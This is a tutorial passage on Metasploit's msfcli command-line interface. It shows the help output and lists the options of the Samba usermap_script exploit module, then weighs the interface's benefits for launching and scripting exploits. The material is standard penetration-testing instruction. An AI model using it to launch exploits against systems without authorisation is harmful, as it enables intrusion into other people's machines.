In learning how to use Metasploit you will find there are many different interfaces to use with this hacking tool, each with their own strengths and weaknesses. As such, there is no one perfect interface to use with the Metasploit console, although the MSFConsole is the only supported way to access most Metasploit commands. It is still beneficial, however, to be comfortable with all Metasploit interfaces.

Using the Msfcli interface:

The msfcli provides a powerful command line interface to the framework. This allows you to easily add Metasploit exploits into any scripts you may create.

Command line interface commands

Running the msfcli help command:

 

root@kali:~# msfcli -h
Usage: /usr/bin/msfcli  <option=value> [mode]
===========================================================

    Mode           Description
    ----           -----------
    (A)dvanced     Show available advanced options for this module
    (AC)tions      Show available actions for this auxiliary module
    (C)heck        Run the check routine of the selected module
    (E)xecute      Execute the selected module
    (H)elp         You're looking at it baby!
    (I)DS Evasion  Show available ids evasion options for this module

If you aren’t entirely sure about what options belong to a particular module, you can append the letter ‘O‘ to the end of the string at whichever point you are stuck.




root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Initializing modules...

   RPORT  139              yes       The target port




To display available payloads for the current module, append the letter ‘P‘ to the msfcli command line string.

Benefits of the msfcli interface






    

  • Supports the launching of exploits and auxiliary modules
    • 

  • Useful for specific tasks
    • 

  • Good for learning
    • 

  • Convenient to use when testing or developing a new exploit
    • 

  • Good tool for one-off exploitation
    • 

  • Excellent if you know exactly which exploit and options you need
    • 

  • Wonderful for use in scripts and basic automation
    • 







The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn’t support any of the advanced automation features of msfconsole.
